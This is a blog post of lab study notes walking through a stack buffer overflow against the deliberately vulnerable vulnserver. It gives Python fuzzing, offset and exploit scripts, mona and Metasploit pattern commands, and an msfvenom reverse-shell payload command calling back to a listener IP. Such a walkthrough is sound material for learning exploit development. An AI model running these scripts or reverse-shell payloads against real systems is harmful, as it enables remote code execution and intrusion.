Wednesday, 30 September 2020

bof steps (using tcm guide)

Below are the rough steps taken to perform a Buffer Overflow using TCM's guide from his Udemy course (although I think he has a guide on YouTube too, not sure if it's the exact same). The idea is to have key steps noted down here for future use if required.
  • Run vulnserver and immunity debugger as admin, attach vulnserver and un-pause.
  • On attacking machine connect to vulnserver e.g. nc -nv 192.168.1.100 9999 to review options.

Spike (searching for a vulnerable command)

  • Create a spike file to test against the app:
s_readline();
s_string("TRUN ");
s_string_variable("0");
  • Run the spike e.g. generic_send_tcp 192.168.1.100 9999 trun.spk 0 0
  • Vulnserver should crash and Immunity debugger should pause and we can see our input has overflowed into the EIP (HEX 41414141 == AAAA)


Fuzz (searching for location of vulnerability)

  • Start up the applications on the target again, create fuzz1.py and run it:
#!/usr/bin/python
import sys, socket
from time import sleep

buffer = "A" * 100

while True:
    try:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(('192.168.1.100',9999))

        s.send(('TRUN /.:/' + buffer))
        s.close()
        sleep(1)
        buffer = buffer + ("A" * 100)

    except:
        print "Fuzzing crashed at %s bytes" % str(len(buffer))
        sys.exit()
  • Same process as before, let it run until the crash, might have to hit ctrl+c on the script to get the result.

The Offset (find the exact location we can overwrite the EIP from)

  • Generate pattern using required length from fuzzing result.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
  • Create an offset1.py script using the value from the above command (offset value truncated below)
#!/usr/bin/python
import sys, socket

offset = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6..."

try:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(('192.168.1.100',9999))

        s.send(('TRUN /.:/' + offset))
        s.close()

except:
        print "Error connecting to server"
        sys.exit()
  • Run the command, once the program crashes take note of the EIP value, use it and the previous buffer value in the command below


/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2700 -q 386F4337


Overwriting EIP

Create overwrite1.py below, initially run it without appending badchars to the shellcode variable to confirm we have exact control over the EIP (should contain 42424242).  Then send it again but append badchars to the shellcode variable.

#!/usr/bin/python
import sys, socket

# Send shellcode without this appended to confirm we have exact control over the EIP.
badchars = ("\x01\x02\x03\x04\x05\......")


shellcode = "A" * 2003 + "B" * 4 + badchars

try:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(('192.168.1.100',9999))

        s.send(('TRUN /.:/' + shellcode))
        s.close()

except:
        print "Error connecting to server"
        sys.exit()

On the program crash, right click the ESP and choose "Follow in Dump".  View the dump, we should have 00 through to FF without any alternative values, if there are we need to remove them.

Modules (find a target module in the application)

  • Download mona.py and copy to C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands
  • In Immunity Debugger (with vulnserver attached) run "!mona modules" in the command box and try locate a module in our app with as few protections as possible.

In the command box type !mona find -s '\xff\xe4' -m essfunc.dll to find our pointer address for the module we highlighted above (note the hex can be found by converting our JMP ESP using /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb in Kali)


Exploit 

Noting down the pointer address from the above command 625011af we create exploit1.py below, note the format we use for the pointer address.  We can test we have everything working correctly by setting a breakpoint in Immunity Debugger (see screenshot below)

#!/usr/bin/python
import sys, socket


# enter pointer code in little endian format for x86
shellcode = "A" * 2003 + "\xaf\x11\x50\x62"

try:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(('192.168.1.100',9999))

        s.send(('TRUN /.:/' + shellcode))
        s.close()

except:
        print "Error connecting to server"
        sys.exit()



Finally we build our payload using msfvenom, add it to the exploit1.py script (truncated below) and run it against vulnserver and we should get a shell (note the -b at the end should include any bad characters found).

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.242 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"

updated exploit1.py below

#!/usr/bin/python
import sys, socket

overflow = ("\xba\x4a\x3b\x94........")


# enter pointer code in little endian format for x86 (for the 2nd run with the overflow code add some padding "\x90" * 32
shellcode = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 32 +  overflow

try:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(('192.168.1.100',9999))

        s.send(('TRUN /.:/' + shellcode))
        s.close()

except:
        print "Error connecting to server"
        sys.exit()


Next Steps

Next step is without a doubt to setup a sandbox server with a "real" piece of software (older version most likely) with a known BOF vulnerability and see how much tweaking is needed to the above procedure to compromise.  I will keep this post updated.